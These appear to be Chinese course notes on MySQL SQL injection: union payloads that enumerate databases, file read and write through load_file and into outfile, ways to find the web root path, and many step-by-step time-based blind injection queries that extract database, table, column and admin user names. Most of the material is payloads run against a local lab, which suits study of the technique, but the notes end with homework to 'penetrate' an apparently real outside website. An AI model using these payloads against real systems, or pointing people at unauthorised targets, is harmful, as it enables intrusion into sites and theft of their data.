小迪16期-20170313

第四天:mysql权限渗透-mysql盲注攻击(上)

1.分析上节课的作业:获取所有数据库名的注入语句怎么写?

  • 抓包工具分析注入工具语句
    先网上下载工具注入工具havij 1.17 pro版本和抓包工具WSExplorer
  • 通过数据库属性分析注入语句
    information_schema.schemata 存储mysql下所有数据库名信息的表名
    schema_name 数据库名

http://127.0.0.1/sqlin/mysql/index.php?x=1 union select schema_name,2,3 from information_schema.schemata


2.实验:测试不同数据库用户的操作权限

文件读写测试:读就是load_file(),写就是into outfile()

  • Mysql最高权限用户root:可读可写

    小迪16期-20170313_第1张图片
    root读写权限.jpg

    注意:如发现读取时为NULL,直接执行show global variables like '%secure%'; 发现secure_file_priv的值为NULL,然后修改mysql.ini 文件,在[mysqld] 下加入secure_file_priv =
    保存,重启mysql。这样就能读到内容了。

  • Mysql普通权限用户:无权限文件读写。


3.注入点数据库用户权限由什么决定?

连接数据库用户决定


小迪16期-20170313_第2张图片
连接用户.jpg

4.Mysql注入点进行文件读写操作

条件:root权限注入点
读取语句:读取C盘下123.txt文件内容
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20load_file(%27c:/123.txt%27),2,3
写入语句
http://127.0.0.1/sqlin/mysql/index.php?x=1%20union%20select%20%27abcd%27,2,3%20into%20outfile%20%27c:/www2.txt%27
注意事项:

  • 符号问题
    使用“/”或“\”;不使用“\”
    原因:编程中“\”多半是转义,如\n是换行


    小迪16期-20170313_第3张图片
    符号问题.jpg
  • 编码问题
    如果要写入数据中带有单引号,怎么办?
    编码解决!(用编码就不用单引号)
    比如:
    http://127.0.0.1/sqlin/mysql/index.php?x=1 union select 0x6161616127,2,3 into outfile 'c:/1234.txt'
    这里的十六进制表示的就是aaaa'

5.网站路径获取方法

  • 遗留文件
    一般在网站根目录下,命名有php.php、info.php、
    phpinfo.php、test.php、php_info.php等。


    小迪16期-20170313_第4张图片
    phpinfo.png
  • 报错显示


    报错显示.png
  • 漏洞暴路径


    小迪16期-20170313_第5张图片
    漏洞暴路径.png
  • 读取搭建平台配置文件


    小迪16期-20170313_第6张图片
    vhosts.png
  • 社工(字典猜解,谷歌黑客等)
    盲猜D:/www/
    D:/wwwroot/
    D:/web/


    小迪16期-20170313_第7张图片
    谷歌黑客.png

6.Mysql盲注

  • sleep盲注攻击
    比如select * from news where id=1 union select database(),2,sleep(5)


    小迪16期-20170313_第8张图片
    sleep盲注.png

    能正常执行,并在5秒后出结果,证明可以正常执行。用sleep可以判断你写的语句对不对。

  • If(条件,true,false):
    条件成立,返回第二个参数,反之返回第三个参数
    比如select * from news where id=1 union select 1,2,sleep(if(length(database())=5,5,0))
    判断数据库长度是否等于5,如果等于5就延迟5秒,不等于就不延迟。
    又比如select * from news where id=1 union select database(),2,sleep(if(mid(database(),1,1)='s',5,0))
    查询数据库名称第一个字母是不是等于's'的,是就延迟5秒。
    (mid函数有三个参数,第一个是字符串,第二个是从哪里开始截取,第三个是截取的长度)

7.Mysql盲注扩展资料

小迪16期-20170313_第9张图片
image.png

盲注的核心是靠 if 判断来注入

手工盲注之前先复习一下if 判断等函数
version() 是查看数据库版本
database() 查看数据库名
user() 查看当前用户
length( xxxxx ) 函数是统计字符串的长度


小迪16期-20170313_第10张图片
image.png

mid(str,1,3) 字符串截取


小迪16期-20170313_第11张图片
image.png

从字节1开始截 截到3就结束

ORD() 转换成ascii码


小迪16期-20170313_第12张图片
image.png

小迪16期-20170313_第13张图片
image.png

IF 语法:


小迪16期-20170313_第14张图片
image.png

if (条件,True,False);


小迪16期-20170313_第15张图片
image.png

开始手工盲注
select * from admin where user = "admin" and sleep(2); 执行需要2秒

1.获取数据库名长度

database() 查看数据库名


小迪16期-20170313_第16张图片
image.png

( select length(database() ) )
查询数据库名长度


小迪16期-20170313_第17张图片
image.png

select * from admin where user = "admin" and sleep( if( ( select length(database()) = 2 ) , 5,0 ) );
如果数据库的长度等于2的话那么就执行true 否则就执行False
最后变成了 sleep(0)

image.png

如果数据库长度等于 7 的话 就执行true
最后变成了 sleep(5)
也就是select * from admin where user = "admin” and sleep(5)
最后得知数据库长度是 7 那么接下来就是获取数据库名了。

2.获取数据库名

数据库长度是 7
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'a' ) , 5,0 ) );
执行执行False 说明 第一个字节不是a


image.png

select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x' ) , 5,0 ) );
执行执行true 执行了5秒 说明第一个字节是x

然后慢慢注入到7。。。。。。
select * from admin where user = "admin" and sleep( if( (select mid(database(),1,1) = 'x') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),2,1) = 'i' ) , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),3,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),4,1) = 'd') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),5,1) = 'o') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),6,1) = 'n') , 5,0 ) );
select * from admin where user = "admin" and sleep( if( (select mid(database(),7,1) = 'g') , 5,0 ) );
第一个字节是x
第二个字节是i
第三个字节是n
第四个字节是d
第五个字节是o
第六个字节是n
第七个字节是g
全都是执行 5秒 然后得知 数据库是 xindong

当然了 这方法注入比较慢 比如有些数据库是特殊符号呢?那怎么办?一个一个符号猜解吗?
采用ORD函数进行ascii码来判断会快点

比如:
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 200 , 5,0 ) );
条件:大于200 执行false 说明 不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 100 , 5,0 ) );
条件:大于100 执行true 说明大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 120 , 5,0 ) );
条件:大于120 执行false 说明不大于
select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) > 110 , 5,0 ) );
条件:大于110 执行true 说明大于
说明数据库第一个字节的ascii码大于110小于120
说明是110~120之间

select * from admin where user = "admin" and sleep( if( ORD((select mid(database(),1,1))) = 120 , 5,0 ) );
等于 120 执行true 说明第一个字节的ascii码是120

小迪16期-20170313_第18张图片
image.png

最后解码得出是 x

3.获取表名长度

select * from admin where user = 'admin' and 1=2 union select 1, sleep(if( length(TABLE_NAME) = 5 ,5,0)) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1

长度等于 5 执行true,等待5秒
说明表名长度为5

4.获取表名

获取第1个字节
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,1,1))='a' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是a

获取第2个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,2,1))='d' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是d

获取第3个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,3,1))='m' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是m

获取第4个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,4,1))='i' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是i

获取第5个字节

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( (select mid(TABLE_NAME,5,1))='n' ,5,0) ) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1;
请求时间为5秒 说明是n

5.获取表名的第一个字段长度

表名是:admin 16进制:61646d696e
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(COLUMN_NAME) = 4,5,0 ) ) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

请求时间5秒 说明第一个子段有4个字节

6.获取表名的第一个字段名

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,1,1) )= 'u',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,2,1) )= 's',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,3,1) )= 'e',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

select * from admin where user = 'admin' and 1=2 union select 1,sleep( if( ( select mid(COLUMN_NAME,4,1) )= 'r',5,0)) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 0,1;

爆出第一个字段是 user

然后第一个字段判断可能是用户名 还少来个密码字段那么就在 5.获取表名的第一个字段长度 把limit 1,1 获取下一个字段长度再进行获取密码字段

7.获取数据库内容

7.1 先猜第一个字段的数据库的长度
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (length(user) = 5 , 5,0) ) from admin limit 0,1;
执行5秒 说明这个字段的数据内容字节长度是5

那么就是获取数据了
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,1,1) = 'a' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,2,1) = 'd' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,3,1) = 'm' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,4,1) = 'i' , 5,0) ) from admin limit 0,1;
select * from admin where user = 'admin' and 1=2 union select 1,sleep( if (mid(user,5,1) = 'n' , 5,0) ) from admin limit 0,1;

然后用户名就是 admin 了

作业:http://www.gaoneng.com/
去渗透这个网站

你可能感兴趣的:(小迪16期-20170313)